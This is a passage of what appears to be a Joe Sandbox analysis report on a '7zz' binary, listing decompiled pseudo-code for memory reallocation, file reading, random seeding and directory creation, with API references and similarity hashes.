				void* _t57;
				long _t58;
				long _t59;
				long _t63;
				long _t66;
				long _t68;
				long _t71;
				long _t72;
				long _t74;
				long _t78;
				intOrPtr _t80;
				void* _t83;
				long _t85;
				long _t88;
				void* _t89;
				long _t91;
				intOrPtr _t93;
				void* _t97;
				void* _t104;
				long _t113;
				long _t116;
				intOrPtr _t122;
				void* _t123;

				_push(0xffffffff);
				_push(0x47c878);
				_push(E0046CE74);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t122;
				_t123 = _t122 - 0x28;
				_t97 = _a4;
				_t113 = 0;
				if(_t97 != 0) {
					_t116 = _a8;
					__eflags = _t116;
					if(_t116 != 0) {
						_t56 =  *0x496584; // 0x1
						__eflags = _t56 - 3;
						if(_t56 != 3) {
							__eflags = _t56 - 2;
							if(_t56 != 2) {
								while(1) {
									_t57 = 0;
									__eflags = _t116 - 0xffffffe0;
									if(_t116 <= 0xffffffe0) {
										__eflags = _t116 - _t113;
										if(_t116 == _t113) {
											_t116 = 1;
										}
										_t116 = _t116 + 0x0000000f & 0xfffffff0;
										__eflags = _t116;
										_t57 = HeapReAlloc( *0x496580, _t113, _t97, _t116);
									}
									__eflags = _t57 - _t113;
									if(_t57 != _t113) {
										goto L64;
									}
									__eflags =  *0x493730 - _t113; // 0x0
									if(__eflags == 0) {
										goto L64;
									}
									_t58 = E0046E8D6(_t116);
									__eflags = _t58;
									if(_t58 != 0) {
										continue;
									}
									goto L63;
								}
								goto L64;
							}
							__eflags = _t116 - 0xffffffe0;
							if(_t116 <= 0xffffffe0) {
								__eflags = _t116;
								if(_t116 <= 0) {
									_t116 = 0x10;
								} else {
									_t116 = _t116 + 0x0000000f & 0xfffffff0;
								}
								_a8 = _t116;
							}
							while(1) {
								_v40 = _t113;
								__eflags = _t116 - 0xffffffe0;
								if(_t116 <= 0xffffffe0) {
									E0046E56A(9);
									_pop(_t104);
									_v8 = 1;
									_t63 = L0046F866(_t97,  &_v60,  &_v48);
									_t123 = _t123 + 0xc;
									_t113 = _t63;
									_v52 = _t113;
									__eflags = _t113;
									if(_t113 == 0) {
										_v40 = HeapReAlloc( *0x496580, 0, _t97, _t116);
									} else {
										__eflags = _t116 -  *0x49015c; // 0x1e0
										if(__eflags < 0) {
											_t100 = _t116 >> 4;
											_t71 = L0046FC2E(_t104, _v60, _v48, _t113, _t116 >> 4);
											_t123 = _t123 + 0x10;
											__eflags = _t71;
											if(_t71 == 0) {
												_t72 = L0046F902(_t104, _t100);
												_v40 = _t72;
												__eflags = _t72;
												if(_t72 != 0) {
													_t74 = ( *_t113 & 0x000000ff) << 4;
													_v56 = _t74;
													__eflags = _t74 - _t116;
													if(_t74 >= _t116) {
														_t74 = _t116;
													}
													E0046C5C0(_v40, _a4, _t74);
													L0046F8BD(_v60, _v48, _t113);
													_t123 = _t123 + 0x18;
												}
											} else {
												_v40 = _a4;
											}
											_t97 = _a4;
										}
										__eflags = _v40;
										if(_v40 == 0) {
											_t66 = HeapAlloc( *0x496580, 0, _t116);
											_v40 = _t66;
											__eflags = _t66;
											if(_t66 != 0) {
												_t68 = ( *_t113 & 0x000000ff) << 4;
												_v56 = _t68;
												__eflags = _t68 - _t116;
												if(_t68 >= _t116) {
													_t68 = _t116;
												}
												E0046C5C0(_v40, _t97, _t68);
												L0046F8BD(_v60, _v48, _t113);
												_t123 = _t123 + 0x18;
											}
										}
									}
									_t51 =  &_v8;
									 *_t51 = _v8 | 0xffffffff;
									__eflags =  *_t51;
									E0046CC23();
								}
								_t57 = _v40;
								__eflags = _t57 - _t113;
								if(_t57 != _t113) {
									goto L64;
								}
								__eflags =  *0x493730 - _t113; // 0x0
								if(__eflags == 0) {
									goto L64;
								}
								_t59 = E0046E8D6(_t116);
								__eflags = _t59;
								if(_t59 != 0) {
									continue;
								}
								goto L63;
							}
							goto L64;
						} else {
							goto L5;
						}
						do {
							L5:
							_v40 = _t113;
							__eflags = _t116 - 0xffffffe0;
							if(_t116 > 0xffffffe0) {
								L25:
								_t57 = _v40;
								__eflags = _t57 - _t113;
								if(_t57 != _t113) {
									goto L64;
								}
								__eflags =  *0x493730 - _t113; // 0x0
								if(__eflags == 0) {
									goto L64;
								}
								goto L27;
							}
							E0046E56A(9);
							_v8 = _t113;
							_t80 = E0046EB0B(_t97);
							_v44 = _t80;
							__eflags = _t80 - _t113;
							if(_t80 == _t113) {
								L21:
								_v8 = _v8 | 0xffffffff;
								E0046CAD5();
								__eflags = _v44 - _t113;
								if(_v44 == _t113) {
									__eflags = _t116 - _t113;
									if(_t116 == _t113) {
										_t116 = 1;
									}
									_t116 = _t116 + 0x0000000f & 0xfffffff0;
									__eflags = _t116;
									_a8 = _t116;
									_v40 = HeapReAlloc( *0x496580, _t113, _t97, _t116);
								}
								goto L25;
							}
							__eflags = _t116 -  *0x49657c; // 0x0
							if(__eflags <= 0) {
								_push(_t116);
								_push(_t97);
								_push(_t80);
								_t88 = L0046F314();
								_t123 = _t123 + 0xc;
								__eflags = _t88;
								if(_t88 == 0) {
									_push(_t116);
									_t89 = E0046EE5F();
									_v40 = _t89;
									__eflags = _t89 - _t113;
									if(_t89 != _t113) {
										_t91 =  *((intOrPtr*)(_t97 - 4)) - 1;
										_v36 = _t91;
										__eflags = _t91 - _t116;
										if(_t91 >= _t116) {
											_t91 = _t116;
										}
										E0046C5C0(_v40, _t97, _t91);
										_t93 = E0046EB0B(_t97);
										_v44 = _t93;
										_push(_t97);
										_push(_t93);
										E0046EB36();
										_t123 = _t123 + 0x18;
									}
								} else {
									_v40 = _t97;
								}
							}
							__eflags = _v40 - _t113;
							if(_v40 == _t113) {
								__eflags = _t116 - _t113;
								if(_t116 == _t113) {
									_t116 = 1;
									_a8 = _t116;
								}
								_t116 = _t116 + 0x0000000f & 0xfffffff0;
								_a8 = _t116;
								_t83 = HeapAlloc( *0x496580, _t113, _t116);
								_v40 = _t83;
								__eflags = _t83 - _t113;
								if(_t83 != _t113) {
									_t85 =  *((intOrPtr*)(_t97 - 4)) - 1;
									_v36 = _t85;
									__eflags = _t85 - _t116;
									if(_t85 >= _t116) {
										_t85 = _t116;
									}
									E0046C5C0(_v40, _t97, _t85);
									_push(_t97);
									_push(_v44);
									E0046EB36();
									_t123 = _t123 + 0x14;
								}
							}
							goto L21;
							L27:
							_t78 = E0046E8D6(_t116);
							__eflags = _t78;
						} while (_t78 != 0);
						goto L63;
					} else {
						E0046C0FF(_t97);
						L63:
						_t57 = 0;
						__eflags = 0;
						goto L64;
					}
				} else {
					_t57 = L0046BFC5(_a8);
					L64:
					 *[fs:0x0] = _v20;
					return _t57;
				}
			}

0x0046c94d
0x0046c94f
0x0046c954
0x0046c95f
0x0046c960
0x0046c967
0x0046c96d
0x0046c970
0x0046c974
0x0046c984
0x0046c987
0x0046c989
0x0046c997
0x0046c99c
0x0046c99f
0x0046cade
0x0046cae1
0x0046cc2e
0x0046cc2e
0x0046cc30
0x0046cc33
0x0046cc35
0x0046cc37
0x0046cc3b
0x0046cc3b
0x0046cc3f
0x0046cc3f
0x0046cc4b
0x0046cc4b
0x0046cc51
0x0046cc53
0x00000000
0x00000000
0x0046cc55
0x0046cc5b
0x00000000
0x00000000
0x0046cc5e
0x0046cc64
0x0046cc66
0x00000000
0x00000000
0x00000000
0x0046cc66
0x00000000
0x0046cc2e
0x0046cae7
0x0046caea
0x0046caec
0x0046caee
0x0046cafa
0x0046caf0
0x0046caf3
0x0046caf3
0x0046cafb
0x0046cafb
0x0046cafe
0x0046cafe
0x0046cb01
0x0046cb04
0x0046cb0c
0x0046cb11
0x0046cb12
0x0046cb22
0x0046cb27
0x0046cb2a
0x0046cb2c
0x0046cb2f
0x0046cb31
0x0046cbf1
0x0046cb37
0x0046cb37
0x0046cb3d
0x0046cb41
0x0046cb4c
0x0046cb51
0x0046cb54
0x0046cb56
0x0046cb61
0x0046cb67
0x0046cb6a
0x0046cb6c
0x0046cb71
0x0046cb74
0x0046cb77
0x0046cb79
0x0046cb7b
0x0046cb7b
0x0046cb84
0x0046cb90
0x0046cb95
0x0046cb95
0x0046cb58
0x0046cb5b
0x0046cb5b
0x0046cb98
0x0046cb98
0x0046cb9b
0x0046cb9f
0x0046cbaa
0x0046cbb0
0x0046cbb3
0x0046cbb5
0x0046cbba
0x0046cbbd
0x0046cbc0
0x0046cbc2
0x0046cbc4
0x0046cbc4
0x0046cbcb
0x0046cbd7
0x0046cbdc
0x0046cbdc
0x0046cbb5
0x0046cb9f
0x0046cbf4
0x0046cbf4
0x0046cbf4
0x0046cbf8
0x0046cbf8
0x0046cbfd
0x0046cc00
0x0046cc02
0x00000000
0x00000000
0x0046cc04
0x0046cc0a
0x00000000
0x00000000
0x0046cc0d
0x0046cc13
0x0046cc15
0x00000000
0x00000000
0x00000000
0x0046cc1b
0x00000000
0x00000000
0x00000000
0x00000000
0x0046c9a5
0x0046c9a5
0x0046c9a5
0x0046c9a8
0x0046c9ab
0x0046caa2
0x0046caa2
0x0046caa5
0x0046caa7
0x00000000
0x00000000
0x0046caad
0x0046cab3
0x00000000
0x00000000
0x00000000
0x0046cab3
0x0046c9b3
0x0046c9b9
0x0046c9bd
0x0046c9c3
0x0046c9c6
0x0046c9c8
0x0046ca72
0x0046ca72
0x0046ca76
0x0046ca7b
0x0046ca7e
0x0046ca80
0x0046ca82
0x0046ca86
0x0046ca86
0x0046ca8a
0x0046ca8a
0x0046ca8d
0x0046ca9f
0x0046ca9f
0x00000000
0x0046ca7e
0x0046c9ce
0x0046c9d4
0x0046c9d6
0x0046c9d7
0x0046c9d8
0x0046c9d9
0x0046c9de
0x0046c9e1
0x0046c9e3
0x0046c9ea
0x0046c9eb
0x0046c9f1
0x0046c9f4
0x0046c9f6
0x0046c9fb
0x0046c9fc
0x0046c9ff
0x0046ca01
0x0046ca03
0x0046ca03
0x0046ca0a
0x0046ca10
0x0046ca15
0x0046ca18
0x0046ca19
0x0046ca1a
0x0046ca1f
0x0046ca1f
0x0046c9e5
0x0046c9e5
0x0046c9e5
0x0046c9e3
0x0046ca22
0x0046ca25
0x0046ca27
0x0046ca29
0x0046ca2d
0x0046ca2e
0x0046ca2e
0x0046ca34
0x0046ca37
0x0046ca42
0x0046ca48
0x0046ca4b
0x0046ca4d
0x0046ca52
0x0046ca53
0x0046ca56
0x0046ca58
0x0046ca5a
0x0046ca5a
0x0046ca61
0x0046ca66
0x0046ca67
0x0046ca6a
0x0046ca6f
0x0046ca6f
0x0046ca4d
0x00000000
0x0046cab9
0x0046caba
0x0046cac0
0x0046cac0
0x00000000
0x0046c98b
0x0046c98c
0x0046cc68
0x0046cc68
0x0046cc68
0x00000000
0x0046cc68
0x0046c976
0x0046c979
0x0046cc6a
0x0046cc6d
0x0046cc78
0x0046cc78

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f996dcefc7b93d4776559f9fef146a5f6dc802da5bce9da4769d4bbad25dced2
Instruction ID: 17e87dca6aaccdebba4e5c35270bbda758384f6f49e70602d0c86d8a415a7f21
Opcode Fuzzy Hash: f996dcefc7b93d4776559f9fef146a5f6dc802da5bce9da4769d4bbad25dced2
Instruction Fuzzy Hash: 459109B1D00118ABDB21EB65DCC5ABE7BB4EB45764F200127F899B6290F7398D40C76E

Uniqueness

Uniqueness Score: -1.00%

Function 0047143F Relevance: 6.2, APIs: 4, Instructions: 170
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0047143F(signed int _a4, signed int _a8, long _a12) {
				void _v5;
				signed int _v12;
				long _v16;
				signed int _t75;
				void* _t78;
				intOrPtr _t82;
				signed char _t83;
				signed char _t85;
				long _t86;
				void* _t88;
				signed char _t90;
				signed char _t91;
				signed int _t95;
				intOrPtr _t96;
				char _t98;
				signed int _t99;
				long _t101;
				long _t102;
				signed int _t103;
				intOrPtr _t106;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed char _t112;
				signed char* _t113;
				long _t115;
				void* _t119;
				signed int _t120;
				intOrPtr* _t121;
				signed int _t123;
				signed char* _t124;
				void* _t125;
				void* _t126;

				_v12 = _v12 & 0x00000000;
				_t108 = _a8;
				_t119 = _t108;
				if(_a12 == 0) {
					L42:
					__eflags = 0;
					return 0;
				}
				_t75 = _a4;
				_t111 = _t75 >> 5;
				_t121 = 0x496460 + _t111 * 4;
				_t123 = (_t75 & 0x0000001f) + (_t75 & 0x0000001f) * 8 << 2;
				_t78 =  *((intOrPtr*)(0x496460 + _t111 * 4)) + _t123;
				_t112 =  *((intOrPtr*)(_t78 + 4));
				if((_t112 & 0x00000002) != 0) {
					goto L42;
				}
				if((_t112 & 0x00000048) != 0) {
					_t106 =  *((intOrPtr*)(_t78 + 5));
					if(_t106 != 0xa) {
						_a12 = _a12 - 1;
						 *_t108 = _t106;
						_t20 = _t108 + 1; // 0x4
						_t119 = _t20;
						_v12 = 1;
						 *((char*)( *_t121 + _t123 + 5)) = 0xa;
					}
				}
				if(ReadFile( *( *_t121 + _t123), _t119, _a12,  &_v16, 0) != 0) {
					_t82 =  *_t121;
					_t120 = _v16;
					_v12 = _v12 + _t120;
					_t31 = _t123 + 4; // 0x4
					_t113 = _t82 + _t31;
					_t83 =  *((intOrPtr*)(_t82 + _t123 + 4));
					__eflags = _t83 & 0x00000080;
					if((_t83 & 0x00000080) == 0) {
						L41:
						return _v12;
					}
					__eflags = _t120;
					if(_t120 == 0) {
						L15:
						_t85 = _t83 & 0x000000fb;
						__eflags = _t85;
						L16:
						 *_t113 = _t85;
						_t86 = _a8;
						_a12 = _t86;
						_t115 = _v12 + _t86;
						__eflags = _t86 - _t115;
						_v12 = _t115;
						if(_t86 >= _t115) {
							L40:
							_t109 = _t108 - _a8;
							__eflags = _t109;
							_v12 = _t109;
							goto L41;
						} else {
							goto L17;
						}
						while(1) {
							L17:
							_t88 =  *_a12;
							__eflags = _t88 - 0x1a;
							if(_t88 == 0x1a) {
								break;
							}
							__eflags = _t88 - 0xd;
							if(_t88 == 0xd) {
								__eflags = _a12 - _t115 - 1;
								if(_a12 >= _t115 - 1) {
									_a12 = _a12 + 1;
									_t95 = ReadFile( *( *_t121 + _t123),  &_v5, 1,  &_v16, 0);
									__eflags = _t95;
									if(_t95 != 0) {
										L26:
										__eflags = _v16;
										if(_v16 == 0) {
											L34:
											 *_t108 = 0xd;
											L35:
											_t108 = _t108 + 1;
											__eflags = _t108;
											L36:
											_t115 = _v12;
											__eflags = _a12 - _t115;
											if(_a12 < _t115) {
												continue;
											}
											goto L40;
										}
										_t96 =  *_t121;
										__eflags =  *(_t96 + _t123 + 4) & 0x00000048;
										if(( *(_t96 + _t123 + 4) & 0x00000048) == 0) {
											__eflags = _t108 - _a8;
											if(__eflags != 0) {
												L33:
												E004716C1(__eflags, _a4, 0xffffffff, 1);
												_t126 = _t126 + 0xc;
												__eflags = _v5 - 0xa;
												if(_v5 == 0xa) {
													goto L36;
												}
												goto L34;
											}
											__eflags = _v5 - 0xa;
											if(__eflags != 0) {
												goto L33;
											}
											L32:
											 *_t108 = 0xa;
											goto L35;
										}
										_t98 = _v5;
										__eflags = _t98 - 0xa;
										if(_t98 == 0xa) {
											goto L32;
										}
										 *_t108 = 0xd;
										_t108 = _t108 + 1;
										 *((char*)( *_t121 + _t123 + 5)) = _t98;
										goto L36;
									}
									_t99 = GetLastError();
									__eflags = _t99;
									if(_t99 != 0) {
										goto L34;
									}
									goto L26;
								}
								_t101 = _a12 + 1;
								__eflags =  *_t101 - 0xa;
								if( *_t101 != 0xa) {
									 *_t108 = 0xd;
									_t108 = _t108 + 1;
									_a12 = _t101;
									goto L36;
								}
								_a12 = _a12 + 2;
								goto L32;
							}
							 *_t108 = _t88;
							_t108 = _t108 + 1;
							_a12 = _a12 + 1;
							goto L36;
						}
						_t124 =  *_t121 + _t123 + 4;
						_t90 =  *_t124;
						__eflags = _t90 & 0x00000040;
						if((_t90 & 0x00000040) == 0) {
							_t91 = _t90 | 0x00000002;
							__eflags = _t91;
							 *_t124 = _t91;
						}
						goto L40;
					}
					__eflags =  *_t108 - 0xa;
					if( *_t108 != 0xa) {
						goto L15;
					}
					_t85 = _t83 | 0x00000004;
					goto L16;
				}
				_t102 = GetLastError();
				_t125 = 5;
				if(_t102 != _t125) {
					__eflags = _t102 - 0x6d;
					if(_t102 == 0x6d) {
						goto L42;
					}
					_t103 = E004705D3(_t102);
					L10:
					return _t103 | 0xffffffff;
				}
				 *((intOrPtr*)(E00470646())) = 9;
				_t103 = E0047064F();
				 *_t103 = _t125;
				goto L10;
			}

0x00471445
0x0047144e
0x00471453
0x00471455
0x00471611
0x00471611
0x00000000
0x00471611
0x0047145b
0x00471463
0x00471470
0x00471477
0x0047147a
0x0047147c
0x00471482
0x00000000
0x00000000
0x0047148b
0x0047148d
0x00471492
0x00471494
0x00471497
0x0047149b
0x0047149b
0x0047149e
0x004714a5
0x004714a5
0x00471492
0x004714c1
0x004714fc
0x004714fe
0x00471501
0x00471504
0x00471504
0x00471508
0x0047150c
0x0047150e
0x0047160c
0x00000000
0x0047160c
0x00471514
0x00471516
0x00471521
0x00471521
0x00471521
0x00471523
0x00471523
0x00471525
0x0047152b
0x0047152e
0x00471530
0x00471532
0x00471535
0x00471606
0x00471606
0x00471606
0x00471609
0x00000000
0x00000000
0x00000000
0x00000000
0x0047153b
0x0047153b
0x0047153e
0x00471540
0x00471542
0x00000000
0x00000000
0x00471548
0x0047154a
0x00471558
0x0047155b
0x0047157b
0x00471589
0x0047158f
0x00471591
0x0047159d
0x0047159d
0x004715a1
0x004715e4
0x004715e4
0x004715e7
0x004715e7
0x004715e7
0x004715e8
0x004715e8
0x004715eb
0x004715ee
0x00000000
0x00000000
0x00000000
0x004715f4
0x004715a3
0x004715a5
0x004715aa
0x004715bf
0x004715c2
0x004715cf
0x004715d6
0x004715db
0x004715de
0x004715e2
0x00000000
0x00000000
0x00000000
0x004715e2
0x004715c4
0x004715c8
0x00000000
0x00000000
0x004715ca
0x004715ca
0x00000000
0x004715ca
0x004715ac
0x004715af
0x004715b1
0x00000000
0x00000000
0x004715b3
0x004715b8
0x004715b9
0x00000000
0x004715b9
0x00471593
0x00471599
0x0047159b
0x00000000
0x00000000
0x00000000
0x0047159b
0x00471560
0x00471561
0x00471564
0x0047156c
0x0047156f
0x00471570
0x00000000
0x00471570
0x00471566
0x00000000
0x00471566
0x0047154c
0x0047154e
0x0047154f
0x00000000
0x0047154f
0x004715f8
0x004715fc
0x004715fe
0x00471600
0x00471602
0x00471602
0x00471604
0x00471604
0x00000000
0x00471600
0x00471518
0x0047151b
0x00000000
0x00000000
0x0047151d
0x00000000
0x0047151d
0x004714c3
0x004714cb
0x004714ce
0x004714e4
0x004714e7
0x00000000
0x00000000
0x004714ee
0x004714f4
0x00000000
0x004714f4
0x004714d5
0x004714db
0x004714e0
0x00000000

APIs

ReadFile.KERNEL32(00000003,00000003,00000000,00000003,00000000,?,00000002,00000000), ref: 004714B9
GetLastError.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,Function_00007CCD), ref: 004714C3
ReadFile.KERNEL32(?,?,00000001,00000003,00000000,?,00000002,00000000), ref: 00471589
GetLastError.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,Function_00007CCD), ref: 00471593

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 624ec795883e0c2137594efc4a7571c2dcd972e7bb4f4fe6413c1de08f5d7430
Instruction ID: 3acba76942d2db7199ab0c4a203b8ba3d5a06c5b05a066009057d9eb64363bcb
Opcode Fuzzy Hash: 624ec795883e0c2137594efc4a7571c2dcd972e7bb4f4fe6413c1de08f5d7430
Instruction Fuzzy Hash: 5251D774A04285AFDF258FACC884BEA7BF0AF42304F14C49BE45A8B361D378D955CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00456AB0 Relevance: 6.1, APIs: 4, Instructions: 70
threadCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00456AB0(void* __ecx, void* __eflags) {
				char _v72;
				char _v100;
				char _v104;
				char _v112;
				char _v120;
				char _v124;
				union _LARGE_INTEGER _v128;
				long _v132;
				intOrPtr _v136;
				char _v140;
				intOrPtr _v156;
				long _t28;
				int _t30;
				long _t31;
				intOrPtr _t37;
				void* _t38;
				void* _t55;
				void* _t56;

				_t56 = __ecx;
				E00456CC0( &_v104);
				_v72 = 0;
				_v124 = GetCurrentProcessId();
				_push(4);
				_push( &_v124);
				L004574D0( &_v104);
				_t28 = GetCurrentThreadId();
				_push(4);
				_push( &_v132);
				_v132 = _t28;
				L004574D0( &_v112);
				_v136 = 0x3e8;
				do {
					_t54 =  &_v128;
					_t30 = QueryPerformanceCounter( &_v128);
					_t61 = _t30;
					if(_t30 != 0) {
						_push(8);
						_push( &_v128);
						L004574D0( &_v120);
					}
					_t31 = GetTickCount();
					_push(4);
					_push( &_v132);
					_v132 = _t31;
					L004574D0( &_v120);
					_t55 = 0x64;
					do {
						_push(_t56);
						L00457570( &_v128, _t54, _t61);
						E00456CC0( &_v132);
						_push(0x14);
						_push(_t56);
						_v100 = 0;
						L004574D0( &_v132);
						_t55 = _t55 - 1;
					} while (_t55 != 0);
					_t37 = _v156 - 1;
					_t63 = _t37;
					_v156 = _t37;
				} while (_t37 != 0);
				_push(_t56);
				_t38 = L00457570( &_v140, _t54, _t63);
				 *((char*)(_t56 + 0x14)) = 0;
				return _t38;
			}

0x00456ab6
0x00456abd
0x00456ac4
0x00456ace
0x00456ad6
0x00456ad8
0x00456add
0x00456ae2
0x00456aec
0x00456aee
0x00456af3
0x00456af7
0x00456b02
0x00456b0a
0x00456b0a
0x00456b0f
0x00456b15
0x00456b17
0x00456b1d
0x00456b1f
0x00456b24
0x00456b24
0x00456b29
0x00456b2f
0x00456b31
0x00456b36
0x00456b3a
0x00456b3f
0x00456b44
0x00456b44
0x00456b49
0x00456b52
0x00456b57
0x00456b59
0x00456b5e
0x00456b62
0x00456b67
0x00456b67
0x00456b6e
0x00456b6e
0x00456b6f
0x00456b6f
0x00456b75
0x00456b7a
0x00456b7f
0x00456b89

APIs

GetCurrentProcessId.KERNEL32(00000000,00491548,?,00000000), ref: 00456AC8
GetCurrentThreadId.KERNEL32 ref: 00456AE2
QueryPerformanceCounter.KERNEL32(?), ref: 00456B0F
GetTickCount.KERNEL32 ref: 00456B29

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: Current$CountCounterPerformanceProcessQueryThreadTick
String ID:
API String ID: 1503542204-0
Opcode ID: bf9c5bfcbe972eb42892c2302544a30870c7319e43138cbb240557299388031a
Instruction ID: 9d657810adf499215ee7a9b32c8eb42b1c43bc38d34ff6ef8d600078ac3b3485
Opcode Fuzzy Hash: bf9c5bfcbe972eb42892c2302544a30870c7319e43138cbb240557299388031a
Instruction Fuzzy Hash: 86217472508300AFD310EF21D8419AFBBE4EF95719F40492EFA96A3152EA34D60DCB57

Uniqueness

Uniqueness Score: -1.00%

Function 00409CCB Relevance: 6.1, APIs: 4, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409CCB(WCHAR* __ecx) {
				signed int _t19;
				int _t23;
				signed int _t26;
				void* _t50;
				intOrPtr _t55;

				L0046B890(0x473a84, _t50);
				_t55 =  *0x490a7c; // 0x1
				if(_t55 != 0) {
					if(CreateDirectoryW(__ecx, 0) == 0) {
						if(GetLastError() == 0xb7) {
							L8:
							_t19 = 0;
						} else {
							 *(_t50 - 0x18) = 0;
							 *((intOrPtr*)(_t50 - 0x14)) = 0;
							 *((intOrPtr*)(_t50 - 0x10)) = 0;
							E00401E9A(_t50 - 0x18, 3);
							 *((intOrPtr*)(_t50 - 4)) = 0;
							if(L0040B863(_t50 - 0x18) == 0) {
								L00407A18( *(_t50 - 0x18));
								goto L8;
							} else {
								_t23 = CreateDirectoryW( *(_t50 - 0x18), 0);
								_t19 = L00407A18( *(_t50 - 0x18)) & 0xffffff00 | _t23 != 0x00000000;
							}
						}
					} else {
						_t19 = 1;
					}
				} else {
					_t26 = E00409CBC( *((intOrPtr*)(E00409AD5(_t50 - 0x24, __ecx))));
					L00407A18( *((intOrPtr*)(_t50 - 0x24)));
					_t19 = _t26;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t50 - 0xc));
				return _t19;
			}

0x00409cd0
0x00409cdb
0x00409ce5
0x00409d13
0x00409d24
0x00409d6b
0x00409d6b
0x00409d26
0x00409d2b
0x00409d2e
0x00409d31
0x00409d34
0x00409d3e
0x00409d48
0x00409d65
0x00000000
0x00409d4a
0x00409d4e
0x00409d5d
0x00409d5d
0x00409d48
0x00409d15
0x00409d15
0x00409d15
0x00409ce7
0x00409cf3
0x00409cfd
0x00409d03
0x00409d03
0x00409d73
0x00409d7b

APIs

__EH_prolog.LIBCMT ref: 00409CD0
CreateDirectoryW.KERNEL32(?,00000000,0000005C,?,00000000), ref: 00409D0F

Part of subcall function 00409AD5: __EH_prolog.LIBCMT ref: 00409ADA
Part of subcall function 00409AD5: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00409AF6

Part of subcall function 00409CBC: CreateDirectoryA.KERNEL32(?,00000000,00409CF8,0000005C,?,00000000), ref: 00409CBF

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: CreateDirectoryH_prolog$ApisFile
String ID:
API String ID: 299956159-0
Opcode ID: c1ed0e35f6580321ac6531ab909d6ea8b72f2d8cf8691d9e8c9056453fa2db36
Instruction ID: 5baa69c7bf3f06f08d1d002de2e3150f630ab666195b0682027b480874592da2
Opcode Fuzzy Hash: c1ed0e35f6580321ac6531ab909d6ea8b72f2d8cf8691d9e8c9056453fa2db36
Instruction Fuzzy Hash: 17119032E441059ACB14AFA5E8825AEBB79AF80314F10443FE405B32D2CB380E459BA9

Uniqueness

